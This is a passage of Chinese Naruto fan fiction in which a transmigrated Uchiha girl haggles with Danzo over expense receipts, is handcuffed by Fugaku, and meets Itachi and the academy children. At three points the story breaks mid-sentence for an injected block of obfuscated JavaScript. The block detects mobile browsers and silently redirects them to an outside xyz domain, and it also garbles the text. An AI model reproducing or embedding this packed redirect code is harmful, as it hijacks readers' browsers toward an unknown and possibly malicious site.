不愧是隐藏在鼬身后的我的暗杀……不是,悔改名单第一名,开口就如此邪恶的意图诈骗我,硬吃一个大记忆恢复术的我沉默一下后立即正色道。可能是察觉到了我蠢蠢欲动暗算他的想法,团藏始终刻意回避着我的视线。 和卡卡西一样,这个时间段的团藏也不完全是我印象中的经典皮肤。我能认出来他的原因除了标志性的绷带遮眼与伤疤外,最主要的还是因为我的暗影雷达。倘若能发出声音,我相信它完全可以比拟一屁股怼到墙上的车子的倒车雷达所能达到的凄厉程度。 邪恶,太邪恶了。 而拥有如此邪恶的暗影的主人——志村团藏,显然没有放弃拐卖……诱骗……总之就是想让我也成为人工养殖的写轮眼的一员。他说着木叶啊宇智波啊的未来,随即就抬出来了止水:“你的老师宇智波止水,也在为我效力。” “我知道,你同样想缓和宇智波与村子的关系。你要相信,现在只有我能帮助你们。” 他自以为透露了一个惊天的内幕,我却是:“……” 虽然知道这大概是因为信提交的报告起了作用,团藏眼里的我已经成为了止水同款宇智波冤大头……不是,和平主义者,但只用这些虚的就来忽悠我也太敷衍了吧! 我的眼神立即犀利起来,我说:“那么入职后的工资与报销制度是——” 回答我的是一张画很大的饼:“只要你的价值足够,你可以得到任何你想要的。” 权力、财富、地位,世人汲汲营营,忍者也不例外。因此我适时的露出向往的表情。 而在团藏自信中掺杂几分不过如此的轻蔑的表情之中,我拿出我的发票——我的发票们,我礼貌而不失期待地说:“那么这些也可以吗?” 团藏:“……” 那只昭示阴谋的独眼立即被发票的倒影毫无缝隙的填满。但按他所说,在我身为宇智波一族屈指可数的万花筒拥有者的价值面前,区区一点……亿点发票,不过如此。因此团藏露出假笑:“当然可以。” 于是我眼睛一亮,视线落到他手中的报价单,正当我在团藏“……”的表情中要开口时,终于在富岳的带领下突破根部封锁的警卫队破门而入。 接到消息后先赶往火影办公室的富岳没想到团藏居然亲自来挖墙脚,尤其是看见他站在我的病床前,我们之间的气氛甚至有几分和谐——虽然没听到过程,但他同样看到了我手上的发票。危机感立即敲响了他的警钟。 富岳立即:“身为宇智波的一份子,族内会为你承担任务所有的花费。” 他补充:“既然是为了保护村中的孩子们,训练场的损失同样不需要你担心。” 我:“……” 我简直震惊了。难道这就是富岳的悔改? 正当我摸摸额头,怀疑这是我吃菌中毒被送走前的最后幻想时,富岳和团藏之间又陷入了针锋相对。在互相冷笑着进行了一些肮脏成年人之间的对话后,显然之前落入宇智波之手的暗部小哥被压榨的很干净,有这个把柄在,身处木叶立场的团藏最终不得不做出让步。 尤其富岳最后给出了一个无可挑剔的理由: “带头打架无视校园和谐秩序,破坏训练场影响木叶村风村貌,”是属于富岳的冷硬的声音,“宇智波方面感到非常痛心,并且绝对不会包庇。那么,她就由我们带走了。” 下一秒,手铐不容分说就拷到了我的手腕上。 我:“?” *** “太过分了!” 在经历一晚情节跌宕起伏、曲折离奇到让我能以c位登上《守护木叶西》年度集锦的抓马事件之后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14254112|148724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我如此总结、大声哔哔。 明明是熟悉的地点,这一次止水却坐到了我的对面。他的表情肉眼可见的从一开始的紧张到中间的无语,最终发展成现在的……嘴角疯狂上扬。 尤其在听到我复述了我被抓进来的罪名后,他忍了一下,显然没有太努力,因为他立即在我不可思议的眼神中笑出了声。 止水声音都在抖:“我没听错吧,你能再说一遍吗?可以吗?拜托你了!” 我:“……” 我杀心渐起。 富岳的出现成功阻止了一项价值五百万的警卫队总部装修计划。而在止水赶来之前,我就已经接受了一轮盘问,在很多细节被我敷衍过去的前提下,我的能力、万花筒的能力,终于是过了明路。 但并不是真正的【偷心悔改】的内核,而是被我篡改定位的—— “空间转换。” 我说着最真的假话:“可以让我借助异空间进行空间跳跃,大概就是瞬移的效果,也可以滞留在其中,前提是我的查克拉足够支撑。” 心灵世界与暗影的存在被泄露出去势必会为我带来过多的关注,毕竟在原作中,如果选择的不是[击败]而是[杀死]暗影,那么在现实世界的本人就会同样死亡,死因只会被认为是单纯的猝死。虽然我没有尝试过,不知道这一点有没有同样刻入我的DNA……不是,影响我现在的能力,但不提这种无痕暗杀神器,光是【悔改】,换一种角度也能被有心之人理解成【洗脑】。 我既不想成为滥杀的恐怖分子,也不想成为被掌控人生的悲惨工具人,索性就重新包装一下,假装这是个简单直观的空间系能力。但仅是我透露出的、具备时空间性质这一点,就足够富岳将我的重要等级大幅上调。 但在完全陷入兴奋的思索之前,当时他指出了我话中的疏漏:“如果这都是万花筒的能力,你三勾玉的时候为何同样能运用?” 刚开启写轮眼时在众目睽睽之下进入过一次言川小和的心灵世界,然后就是亲热天堂……不是,踩点事件里翻车那次也擅自闯入了路过宇智波的心中,在确认有暗部监视的现在,我想这些恐怕都成为了我身上的疑点。 但无所谓,我已经想好理由了—— 我看着他。 我恍然大悟。 我说:“难道我真的是天才?” …… 富岳再进来时,已经从无语中恢复了惯常的营业表情。他已经与族内的心腹商量好了接下来对我的安排,但在看到他的长子、宇智波鼬时,他又有了新的想法。 正要准备开口介绍,富岳就看到审讯室的桌子上孤零零搁着一副被撬开锁的手铐,它的主人手腕一翻便潇洒挣脱出来,从桌后起身走近。 我仗着16岁的时候已经度过了我的生长期,此刻居高临下地看着时年13岁,还没有开始往上窜的…… 宇智波鼬。 我:“……” 14.“宇智波止水最喜爱的学生。” 我露出苦大仇深的表情。 毕竟有句话是叫物以类聚,人以群分。从这点来看,原来在止水眼里,我竟然和宇智波鼬是一类人——这完全就是诽谤! 突然被我瞪的止水:“……?” 他嘴角的弧度在我的死亡凝视中缓缓消失,止水先是沉默一下,然后不知道想到了什么,原本透出几分茫然的面色陡然严肃起来。他面露担忧,几乎是有点小心翼翼地问我:“你的眼睛……” ……你的眼睛才有问题啦! 不仅被挖坑背刺、此刻还被倒打一耙(?)的我感到相当憋屈。而同样的表情出现在富岳脸上,则是因为鼬礼貌地喊我前辈的同时,对他的称呼也是相当板正的父亲大人。 唯独对止水显得亲近许多,鼬喊的是止水哥。 身为老父亲的富岳更能感受到其间温度的差异。我就看见富岳脸色有点黑,于是止水除了被我瞪外又被族长危险地打量了一阵,他不由:“……” 而在此刻的诡异沉默之中,站在亲情大三角一端的鼬表现出了相当的定力。哪怕只成形了一半,须佐搞出的动静也实在太大,半个村子都看到了顶天立地的骨架巨人,剩下半个也很快被流言犁了一遍地。那无需言说的力量直接改变了村子的态度,不仅是亲自找上门的团藏,猿飞日斩也在斟酌之下派出了宇智波鼬……简而言之就是,拉关系。 我并不知道信的报告让我身上被打上和平主义者标签的同时,我也被纳入了可以拉拢——或者说让宇智波内部分化、互相制衡的半边。但对之后要面对什么毫无概念的我此刻只是警惕地看着面前的宇智波鼬。 碍于身高差,他抬眼看我,眼睛呈现不透光的黑,遮盖了其中所有的情绪与审视。同样将注意力放在我身上的鼬面上保持着一贯的文静有礼,他选择接着止水的话说:“久闻大名,前辈。” 我:“……” 按理来说,我同样应该用职场标准的社交辞令回复他。但在我质疑我年轻的上司的眼神的现在,尤其回忆起信带给我的心理阴影,我沉默一下,几乎是应激般,我立即:“哪方面?” 鼬:“?” 他一愣,显然没想到我会这么反问。 “宇智波止水最喜爱的学生?”我没管他一瞬间露出的茫然,居高临下看他,张口就来开始给自己抬咖,“还是宇智波止水最得力的下属?” 升级成万花筒之后我的暗影雷达越发灵敏,鼬身上存在的、与普通暗影截然不同的气息昭告了有着心灵宫殿的家伙们是多么麻烦的存在。想到我脖子面临的威胁,一边说着我的目光一边投向我的队友——本该与我站在一条战线,却背着我与我的一生之敌在南贺川河岸边暗通曲款的止水。 没错,想到木叶兄弟情的滤镜的厚度的我内心其实很有点慌,尤其看到怪盗团除我之外唯一的成员一脸被狐狸精……不是,兄弟情蒙蔽双眼的清澈愚蠢,我除了越发担忧他被策反之外恨铁不成钢起来: 你清醒一点啊!不摘下滤镜可是会成为宇智波的开眼工具的! ——碍于富岳和我蛐蛐的对象也在,我试图用宇智波特有的灵动眼神传递这样的忠告。 止水:“……” 不知道他有没有理解我的意思,总之看出他放空表情想要装聋作哑的意图的我痛心疾首:“止水,止水你说句话啊!” 快向我展示你不与邪恶同流合污的正义啊! …… 最终是富岳咳嗽一声,终结了逐渐往奇怪方向发展的场面。 我对正义的追求不知道被富岳理解成了什么,我明显感觉到了他对我和止水的接触有了疑虑。村子和宇智波我要站在哪边?这样的问题再次被他旁敲侧击地拿出来试探我。 在富岳那边,身负宇智波之名、同时开启万花筒的我似乎只应该有一个答案,而止水的存在让过往几乎与外界毫无联系的我变得“不可控”——但悔改的作用在此刻就体现出来了,富岳并没有露出我穿越伊始时打量工具人般打量我的眼神,在我明确拒绝他换一个上司的提议之后,他主动改变了思路: “看得出来,你在教育方面很有手段。” 在单独谈话的最后,富岳神来一笔,还停留在上个话题的我思考良久都没理解这话是从何说起,并且合理怀疑他是在从全新角度套我话。 我提高警惕的同时缓缓打出一个问号。 看出了我的疑惑,富岳举例言川小和、不知名路过宇智波,前者不提,后者因为和开启写轮眼的我对视过,同样被归入了中过我幻术的类别,据说如今痛改前非后已成为五讲四美热心宇智波,家里老母亲看了都说好,路上过马路老奶奶直夸妙。在用现成的证据堵住我的嘴后,他图穷匕见,向我托出一颗拳拳老父亲之心。 饱受青春期长子叛逆折磨的富岳:“鼬那孩子,就拜托你了。” 我:“……?” 我:“……” 我:“。” 一时之间没明白他这是想让我对鼬下毒手还是让鼬对我下毒手,总之我的沉默震耳欲聋。 *** 在这个我人生最不堪回首的的夜晚,我回去后不出意料的做噩梦了。 梦里我成为了木叶……不,忍界知名的教育忍者,三代火影找到我,让我教导他不省心的孙子木叶丸。 我顺着踪迹寻找到逃课的木叶丸同学时,林间空地上,金黄头发的少年摆出大哥的架势,正在对跟前头戴钢盔(?)围巾长到拖地的小少年指点着什么。 在漩涡鸣人面前,木叶丸嘴上不服气地哼哼唧唧,其实笑的连缺牙都露了出来。而鸣人一边对他的□□术效果大感恼火,一边尽心尽力地指点着他。在这之间,鸣人无意间瞥到站在高处树枝上的我,露出本能警惕的表情。 但可能是因为我的目光太过平静,他炸毛了一瞬,又惊疑不定地自己平复了下来。 我跳下树走过去。 在鸣人仰着脸,一副已经准备好接受恶言恶语的表情中,我看看木叶丸再看看他,有什么仿佛已经演练过千遍万遍的话语从嘴边涌出来。 我欣慰说: “还是第一次看见少爷对一个人这么上心。” “好久没见到少爷笑的这么开心了。” 而在梦的最后,我因材施教,成功将木叶丸、鸣人等人培养成为偶像出道,成为忍界炙手可热的女子(?)偶像团体经纪人走上人生巅峰时,下一秒画面转变,我坐在和室,富岳指着他身旁的鼬对我说,小绪老师,请帮助他出道吧! …… 我被活生生吓醒了。 一睁眼,踩在我身上把我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14390237|148724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当蹦床蹦的乌鸦发出粗粝的叫声,听起来仿佛嘲笑。 我:“……” 我用捏毛绒玩具的手法捏捏它,逃不出我手心的乌鸦只能徒劳地蹬着细腿,发出呱唧呱唧、相当凄厉的求救声。 楼下传来止水无奈的声音。 他喊我的名字:“不要欺负我的通灵兽啊!” *** 重获自由的乌鸦恼怒地从我手中飞走了。 而我也相当气愤地对止水说:“真是桃李满天下,家里结苦瓜啊!” 我以这句话作为今日噩梦分享会的开端。同样顶着一双黑眼圈的止水死也不愿意告诉我他昨晚上做了什么噩梦,只说让我好好去跟线人先生道歉。 我:“?” 最后只好由我单独复述了一遍我的梦的内容。 当然,属于后街○孩的那部分被我删了,我们可是正经热血漫啊!——出于这个朴素真挚的理由,我合理地做了一点改编。原作中鼬的行为被我夹带私货……不是,被我换了一种方式描述出来,我说他让我在教育界名声扫地,真是上辈子杀人放火,这辈子教宇智波。 我说:“止水老师,你怎么看?” 止水表示很难评。 他说:“偏见不要这么重啦。” 我感到不可思议:“是你的滤镜太重了吧!” 哪怕被我告知了宫殿的定义以及鼬有宫殿一事,止水也表现出了相当程度的偏心。我此刻相当谴责地看他。 而他沉默一下:“那这也不是你攻击他口味的理由。” 止水相当理性的指出,如果按照我列举的宇智波鼬不是好人的三点证据,那么极度嗜甜的宇智波族内就没有谁能是好人了。 我:“……” 有时候真怀疑宇智波是不是独有一套味觉系统。 但说到宫殿,止水说事有轻重缓急,村子与宇智波的矛盾显然更迫在眉睫一点。知晓他是想要先从同样具备宫殿的团藏那里入手的我则问:“那你了解团藏吗?” 知道他吃哪里住哪里私房钱藏在哪里吗? 止水:“……” 止水:“前面的也就算了,最后一个你难道就不觉得有什么问题吗?” 总之团藏身为村子高层,向来行踪隐秘,再加上手握根部,周身护卫重重,想要进入他的宫殿相当有难度。同样的,譬如猿飞日斩,我虽然没有在他身上感知到宫殿的存在,却因为坐标只能设置在现实,心灵世界与现实的位置并不一一对应,我也很难在印象空间里找到他。 商讨到最后,千头万绪总结下来还是一个等字。在得到足够的情报之前,还是只能先把鼬的宫殿提上日程。 而这就涉及到了我的写轮眼。止水相当严肃地问我:“你的视力还好吗?” 我说:“视力已经下降到无可救药的地步了。”* 在他陡然的紧张之中,我叹气: “打开钱包看不到钱,太恐怖了。”* 止水:“……” *** 不知是否是有心软的神看不得世上有我这样机智又正义的宇智波在穷困潦倒,本来只是想皮一下的我说完这话没两天,账上就收到了两笔巨款。 一笔来自富岳。 另一笔…… 来自团藏? 15.“好累好麻烦。” “毕竟是他自己主动的,我只是没有拒绝而已啊!” 此刻,在我的队友不约而同微妙起来的眼神之中,我沉默一下,立即为我看似通敌,其实是想只拿钱不干事亏死团藏的行为大声辩解起来。 椿:“……” 椿欲言又止、止言又欲,最后他艰难吐出一句话:“……这个,不太好吧?” 他口中的不好就不好在我意图反向诈骗……不是,薅羊毛的对象。 在族内听闻过一些关于团藏“传闻”的椿劝我不要被蝇头小利蒙蔽双眼。他委婉表示,团藏向来把和宇智波不对付表现在脸上,现在必定也是不安好心。 而我认真听完后,我竖起一根手指。 我说:“可他给了这个数。” 听清楚这后面跟了几个零后的椿立即瞳孔地震,隽秀的面孔上是显而易见的震撼表情。他说:“我们回来的时候竟然花掉了这么多钱吗!” 我:“……” 我没好意思说这里面还包含了我的烤肉发票以及训练场的维修费用——因为富岳已经赔付了这一部分,所以团藏这边的钱全到了我的手上。我视线漂移,在沉默片刻后立即含糊其辞把这个话题带了过去。 但哪怕面露动摇,椿最终还是选择回避我的视线。止水则是说:“你清醒一点。” 早有准备一般,止水在我不敢置信的目光中弯了弯眼,然后他开始无情拷问我:“难道这就是你不与邪恶同流合污的正义吗?” 我:“……” 一开始还没回过味这个对话有几分耳熟的我大意之下没有闪,于是在正脸接下一记正义的铁拳后,我不得不被迫闭麦。 ……但道理是这个道理啦,真的不接受的话和平白无故丢钱又有什么区别! 我看向我最后一个队友。而在我殷殷的视线之中,信说:“不愧是你。” 我:“!” 没想到最后竟然是团藏的心腹在支持我。 我相当感动:“信——” “……这也不是在夸你吧?”止水这样说,随即他露出大受震撼的表情,“还真是啊?认真的吗?” 他说完的下一秒,原本拿着苹果在削皮的手骤然一空,而我则满脸虔诚,向病床上的信双手奉上我的供奉。 止水:“……” 总之在这个话题的最后,在信无条件的倒戈之下,我说好耶:“现在是二比二!” 我伸手在脸边比出两个V。 两边意见持平也就意味着我的第二份报销的归属问题只能被暂时搁置。而非任务期间,止水班之所以相聚在木叶医院,目的正是为了看望住院的信。 “当时到底发生了什么,我已经记不清了。”关于聚餐之后发生的事情信这样说,“醒来的时候就已经蹲到了牢房里。” 不会也是因为毒蘑菇吧? 信尝试回忆:“但我依稀记得,最初我好像是看见远在净土的太奶来接我。” 难道真是因为毒蘑菇吗? 仿佛是又想起来什么,信正要补充,但下一秒他突然浑身一僵,什么话也说不出来。我思考了一下,替他补完主语:“团藏?” 半天才从舌根祸绝之印导致的麻痹中恢复的信点点头,然后他先是做出一个拉的动作,再一扯,随即用还能动的那截指尖做了一个旋转的动作——在把团藏当成久未见面的太奶,还对他这样那样之后竟然还活着的信此刻表现的相当开朗:“总之我再醒来就在医院了。” 果然就是因为毒蘑菇啊! 我:“……” 我沉痛闭眼,然后在我的队友看过来的眼神以及正义与良心的双重拷问之下,我说:“放心吧,信。” “我一定会帮你换个上司的!” “……啊?” *** 不知是否是我在信的病房当众大放厥词的缘故,还没等我开始践行这句话,团藏那边就一转攻势,看起来是打算让我先换个上司。 几天后信出院归队,同时带来了内部消息:中忍考试之后,我就会收到高层的任令进入根部。 我:“……” 突如其来的中忍考试先不说,我进根部?真的假的? 在宫殿附着于现实建筑物的前提下,与鼬不同,攻略团藏宫殿的难度很大一部分在找到寄托他扭曲欲望的地点上。而在收到直通敌人老巢的offer的这一刻,我突然在互为死敌的团藏和富岳身上找到了共同点: 如此目标精准的引狼入室……不是,引进人才(指我),这是何等相通又相似的眼光啊! 我大为感慨。 因此在我的队友纷纷担忧地看向我时,我没忍住:“还有这种好事?” *** 中忍考试既是下忍晋升的选拔性考试,也是国家之间互相观察国力的重要场合,一年通常会举办两次。依照信的口风,我要参加的就是一个月之后由木叶承办的那场。 在我开启万花筒的现在,考试结果可以说毫无悬念,不通过一定是我故意不小心的。因此在收到富岳同样要求我晋升中忍的通知时,我并没有感觉到多少临近考试的压力。 但这并不意味着我就能躺平了。 “视线确实有点模糊。” 在止水的要求下,我短暂思考后立即诚恳地点头。 比起万花筒,止水更出名的还是他“瞬身止水”的称号,而这或许就是他能将视力完好保存到战后的智慧。在我因为须佐一事站上风口浪尖的现在,他能做的就是提醒我少用万花筒——“尤其是须佐能乎。” 止水相当认真地告诫我。虽然没亲身动用过,但须佐的强大显然是以无节制压榨宿主瞳力作为代价,而瞳力的过度损耗,外在体现就是视力的急剧下降。在我这么说的现在,他自然认为后遗症已经在我身上浮现出来。 我乖巧点头,同时没好意思告诉他可能我这几天晚上熬夜看漫画也有一点点……亿点点影响。 而仗着这份关切,我废宅的本能又开始占据上风: 小说、漫画、冰箱里的棒冰! 我现在还特别有钱!还不用出门上班! 短短几天,以“我被须佐掏空了身体”为核心的请假理由就已经被我讲出了花。直到毒蘑菇事件过去的第二个星期,彻底拖延不下去的我被迫站上训练场,在止水的压迫下正式开启了起得比鸡早、睡得比狗晚的斯巴达式训练生活。 好困。 好累。 ……我要起义了! 在刚刚那一下差点被我削掉头发的止水露出一瞬的惊讶,随即他笑了起来,眉目舒展,锋锐的本质却在刹那间透出温和的表面。 “气势不错哦。” 他夸赞我时从不吝啬,但如果能别用这种逗猫的语气就更好了。在穿越前没少配合逗猫棒把小猫咪们耍的团团转的我对这种语气相当熟悉,哪怕止水嘴上不承认,他把我满场溜的行为都证实了这一点。 而在止水认真起来准备打击一下我之前,我立即收住刀势打断施法。因为臂展足够,在尝试过后我最终选择将刀鞘横斜别在后腰,此刻我反手回刀入鞘。 回想起这些天起早贪黑的苦逼日子,我相当真诚地问他:“就当是奖励好了。你能站着不动让我打一顿吗?” 答案当然是我在想桃子。 而止水也有他的理由:“查克拉量和身体的灵敏度都很出色,但你的体力实在太差了。” 我的查克拉是相对标准的宇智波配置,雷、火、水和土,五种查克拉属性中唯独缺少风,这也是我当初能用出土遁的原因。虽然第一次用没控制住,在破开逃生通道的同时不小心一起扬了不知名宇智波前辈的碑……但问题不大! 我会双倍还回去的! 富岳那边我已经在要求立一个河景房……不是,河景碑了!前辈,你的在天之灵要是看到了一定也会感到欣慰吧! …… 总之有写轮眼这个挂在,就意味着只要我的体能跟得上,再配上实战的锻炼,我就可以短期内赶超别人很长一段时间的努力,快速提升我的体术与刀术。 但这种建立在拷贝基础上的提升,同样也会带来一些问题。先后和我对练的椿和信都吐槽过我:“感觉在跟止水老师打啊。” “尤其是你用刀的时候。” 我想了想,一脸严肃地说:“那你们一定要打败我。” “……这是挑衅吧!” *** 说不上来是不是我的感觉问题,从穿越伊始一直到任务离村前,我不时能从村民的态度、高层的态度中感受到村子与宇智波之间隐隐像是弦绷紧的紧张形势。 我被裹挟其中,也被推着往前走。 而最近——我是指开启万花筒之后,除了出门被行注目礼的概率大大提升外,我莫名就过上了某种程度可以称得上风平浪静的规律生活。 当然,这个规律是指白天训练,晚上印象空间打小怪兽积累实战经验,一周七天,朝六晚十一,天天如此。 “你听说了吗?” “什么?” “村子东边那个烂赌成性的家伙变了!不仅赌戒掉了,我今天还看到他去接任务,说是要开始还债了!” “真的假的?!” ——除了集体恶念化作的流水线暗影,有时候也会打到一些有名有姓的。造成的后果就是这样啦。 我普通路过,深藏功与名。 而随着灭族之夜剧情的逼近,在印象空间碰见高层内心的暗影约等于我买彩票中头奖——下次一定,团藏的事也可以放到中忍考试之后再说。目前还是要按照原先的计划,先把鼬的宫殿解决。 因此在训练、印象空间之余,我还得兼顾鼬的宫殿的攻略进度。从这个角度来看,时间管理大概才是成为心之怪盗的最重要的技能。 我说:“好累好麻烦,好想变成芝士面包——”* 就好像刻意和我作对一般,紧随我话音的是一句:“燃烧吧——青春——” 一阵苍绿的旋风从我面前刮过。 我:“?” …… 椿买了芝士面包安慰我。 在决定去富岳宅踩点的那天,结束白天的训练后,我和止水轻车熟路(?)的摸到族地书店旁边的小巷。当时还没发现,现在一看,这里不仅位置相对隐蔽,还能看见富岳宅大门的一角,难怪老板把亲热天堂同好会放在这里开。 至于小巷两侧粉刷一新的墙面以及其上的标语……在一阵死寂般的沉默后,发现止水想起的应该和我是同一件事,我在求生欲的驱使下立即开始转移话题: “那不是佐助吗?” 现在正是傍晚。 止水半身靠在转角,我则从他肩膀处探出脑袋,我们俩眼睁睁目睹了背着书包回家的佐助毫无卡顿的一秒酷哥变脸: “哥——哥——” 我小声哔哔:“鼬在家?” 止水下意识侧过头,并不怎么服帖的卷翘发尾蹭过我的脸颊,我被痒的闭上一边眼睛,只听到他犹豫后同样压低的声音:“应该……不在?” 没过多久就鼓着脸重新出现的佐助证明了这一点。他抱着手杵在门口,看得出来是狗路过都会被瞪一眼的气愤程度。“是门神吧?”我说。 “是门神呢。” 止水赞同地点头。 那就没办法了,我们俩在门神大人面前无声败退。我立直身体,三把首尾相衔的镰刀图案在抬眼的那一瞬立即浮现在我眼中。 比起三勾玉时期的两眼一抹黑,此刻在万花筒的视野之中,我能够轻易察觉出面前这栋建筑与周边的不同:暗影的气息相当浓厚,几乎要满溢出来。 这也代表着位置没有找错,以及—— “青少年的心理健康教育就是很重要啊,止水老师。” 我这样说。 游戏原作中,导航的第三个问题要求正确描述宫殿的异世界形式。 此刻转化过来的问题就该是: 宇智波鼬把富岳宅当作什么? 我本以为这种问题在木叶兄弟情面前根本不堪一击(?),结果在我逐渐眼神死的表情之中,多次尝试都被宫殿拒之门外的止水:“……” 他皱起眉:“不能吧?” 我替他把话补充完整:“猜这么多,总不能一个都不对吧?” 瞎猫还能碰上死耗子,现实却冰冷到止水一个答案都没猜对。 止水:“……” 止水大受打击的同时决定第二天就去找鼬谈心。我对和我的一生之敌坐在一桌吃饭感到相当抗拒,但他眨了眨眼:“去吃烤肉哦?” 我说:“好耶!” *** 怪盗团的第一次团建就这样以失败告终。 而宫殿的主人——宇智波鼬,最近好像在执行什么秘密任务,止水想找他谈心都找不见人影,这顿烤肉最终变成了止水班任务完毕后的聚餐。 在我的强烈要求下,这段时间里除了训练,止水也接了一些“下忍应该接触”的任务。内容大概就是队友负责拉住受害猫的四肢,我负责蹂躏……玩弄……总之就是趁猫之危,做出这样那样不负责任的事情。 椿说:“猫的话,毛茸茸的确实很可爱。” 信说:“相比起来我还是比较喜欢狗。” 猫派与狗派的夹缝之间,止水露出难以抉择的表情,最终他选择得罪所有人:“我比较喜欢我养的乌鸦啦。” 而当压力转移到我身上时,我拎起走失小狗命运的后颈皮,将它与小猫咪一起揣进怀里,身体力行表示我全都要。 “乌鸦也不错。”我回忆起鸟类蓬松柔软胸脯的手感,相当博爱的补充。 总之比起训练,找找小猫小狗可实在是轻松休闲。像这样低等级的任务期限一般也给的很宽松,在某天我和信争论是太阳下的草垛躺着舒服还是树荫下的草地躺着舒服时,止水和善的声音从我们背后传出:“我觉得训练场躺着比较舒服哦。” 我:“……” 信:“……” 冷汗,流了下来。 被我们强行拉走摸鱼的椿被迫捆绑,最后的结局就是我们三个整整齐齐躺板板。 …… 就这么过去了半个月。 借口任务逃掉的训练量被加倍补了回来,在这方面止水表现的相当严格。虽然能理解战争年代传承下来的“没有实力就会死”的理念啦,但再这样007干下去我恐怕真的会猝死。 这一点在遇到鸣人时已经有了征兆。 在熟悉的一声大姐头的大喊后,色彩灿烂的像一朵向日葵的男孩子大惊失色:“小绪姐,你、你你你还活着吗?!” 我礼貌而不失精准地描述:“活人,微死。” 我眼下的黑眼圈正是昨晚上不知死活追完漫画最新话的遗留产物,配上宇智波标准的黑发白肤,现在吓到人了还真是不好意思。 但总之,“目前还活着啦。” 有指尖传递的热意作为佐证,鸣人瞪大那双颜色更浅更明亮的蓝眼,半晌他讷讷地哦了一声,而这短暂的安静很快又被他身上与生俱来的元气打破。 我收回手,问鸣人特意在这里等我是有什么事——训练场的方向与忍校相反,而我去训练的时间也早于忍校上学时间(悲) 最重要的是,鸣人是怎么知道我会走这里的。 “佐助说的。”前一个问题鸣人顾左右而言他,倒是相当直白地出卖了佐助,“他说你每天都在训练变强,肯定没时间管团扇派……” 听到团扇派,我:“……” 我才从局子里出来没几天啊! 而鸣人没能理解我对这个话题的抗拒。“我才不信呢!”他继续说,手舞足蹈的样子非常具有活力,“我看他就是想取代小绪姐你的地位,被叫一声老师就得意起来了!对小樱也是,装出那副不在乎的样子……啊啊啊,那家伙真是太让人生气了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505334|148724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说到后面话题就已经发散开了,完全就是关于日常琐碎的抱怨呢。我也冷静了下来:“关系真不错啊。” “谁啦?” “你和佐助。” “??” 在鸣人张牙舞爪跳起来之前,我挑开话题,故意问:“小樱又是谁呢?” 有着樱花色的长发,眼眸碧绿清澈的女孩子,是鸣人眼中的天下第一好。目前正在团扇派中担任智囊的角色。 我一听就沉默了:“……还有这个职位?” “不止。” 鸣人说。 在明知前方就是地狱的前提下,我竟然还是不死心地探出试探的脚。 求仁得仁,我:“……” 我总结:“所以之前训练场约架的那群人也加入了团扇派。” “没错,他们都是被小绪姐当时挡在大家前面的背影折服自愿加入的!” 原来那次晕倒前听到的一叠声老大不是我的幻觉。我痛苦闭眼:“现在团扇派名气还很大?” “那当然!” 鸣人相当猖狂地笑了:“忍校的校霸只能有小绪姐你一个,就算你已经毕业了!” 果不其然,最后鸣人磕磕绊绊承认他来找我,就是因为忍校老师也听说了这些事…… 我完全就是风评被害啊! “……小绪姐,你在找什么?” “时光机。” *** 时隔多日,我再度站在忍校教室办公室门口,在和打开门的老师面面相觑一段时间后,我提起手上的布袋,真诚道:“中午好,老师。我带了便当你要吃吗?” “……你是在威胁我吧!绝对是吧!” 只是开门出来上厕所的老师指了指鸣人班主任的方向,让我过去那边。 言川小和不用说,鸣人、佐助、小樱,小七班提前集结,还有鹿丸、丁次、井野,好家伙,猪鹿蝶也全齐。加上一些我认识的不认识的,真是远看群英荟萃,近看十二小小强开会啊! 小萝卜头们排排站,几乎是出现的第一时刻,我就成为了所有人的目光焦点,他们脸上大多是好奇的神色。而这个时期鸣人的班主任还不是伊鲁卡,她背对着门,背影让我有一种似曾相识的感觉……我的表情突然凝重起来。 ——按照我高中教导主任“我再讲两句”结果讲了两个小时还没结束的功力,这个午休时间,我可能挨不完骂啊! 想到止水的斯巴达嘴脸,我立即:“可以麻烦您长话短说吗?” “……诶?” 结果居然不是在叫家长。 班主任相当配合的把废话都撇掉,整段话的中心思想就是:“真是帮大忙了!” 我:“?” 大大的问号从我头上长了出来。 “小绪同学是怎么想到这个办法的呢?”她亲昵地称呼我,说自从有了团扇派,忍校这些精力充沛的孩子们之间打闹的次数都少了不少,都在为了加入的机会锻炼自身。 实力太差的不要、不遵守纪律的不要,能加入的都是忍校里的精英——这样的噱头简直是挂在驴跟前的胡萝卜,这磨一轮一轮不停歇的拉啊! 捋顺这个逻辑的我大受震撼。 深感忍校风气一清的班主任则表示欣慰,她甚至在最后对我说:“如果不是在忍校任教实在委屈了小绪同学的天赋,我真的很想推荐你当老师哦!” 